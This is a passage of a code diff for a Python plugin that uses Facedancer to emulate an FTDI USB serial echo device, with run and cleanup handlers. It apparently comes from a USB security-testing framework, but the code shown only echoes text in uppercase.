self.device.transmit("Enter any text you'd like, and we'll send it back in UPPERCASE.\n")
|
|
72
|
+
|
|
73
|
+
# Set the device data handler.
|
|
74
|
+
self.device.handle_serial_data_received = self._handle_data_async
|
|
75
|
+
self.running = True
|
|
76
|
+
|
|
77
|
+
# Start the Facedancer emulation in a new thread to avoid the event loop conflict.
|
|
78
|
+
def emulate_thread():
|
|
79
|
+
self.device.emulate(send_hello())
|
|
80
|
+
|
|
81
|
+
t = threading.Thread(target=emulate_thread, name="FTDIEmulationThread")
|
|
82
|
+
t.start()
|
|
83
|
+
|
|
84
|
+
return AsyncExploitResult(True, "FTDI echo device running successfully", {
|
|
85
|
+
"status": "running",
|
|
86
|
+
"message": "Device is waiting for data to echo"
|
|
87
|
+
})
|
|
88
|
+
|
|
89
|
+
except Exception as e:
|
|
90
|
+
self.logger.error(f"Error during FTDI echo execution: {str(e)}")
|
|
91
|
+
return AsyncExploitResult(False, f"FTDI echo failed: {str(e)}", {})
|
|
92
|
+
|
|
93
|
+
@hookimpl
|
|
94
|
+
def cleanup(self):
|
|
95
|
+
self.logger.info("Cleaning up FTDIEchoPlugin")
|
|
96
|
+
try:
|
|
97
|
+
if self.device:
|
|
98
|
+
self.running = False
|
|
99
|
+
self.device.disconnect() # Disconnect the emulated device.
|
|
100
|
+
self.logger.info("FTDI Device disconnected")
|
|
101
|
+
self.device = None
|
|
102
|
+
except Exception as e:
|
|
103
|
+
self.logger.error(f"Error during cleanup: {str(e)}")
|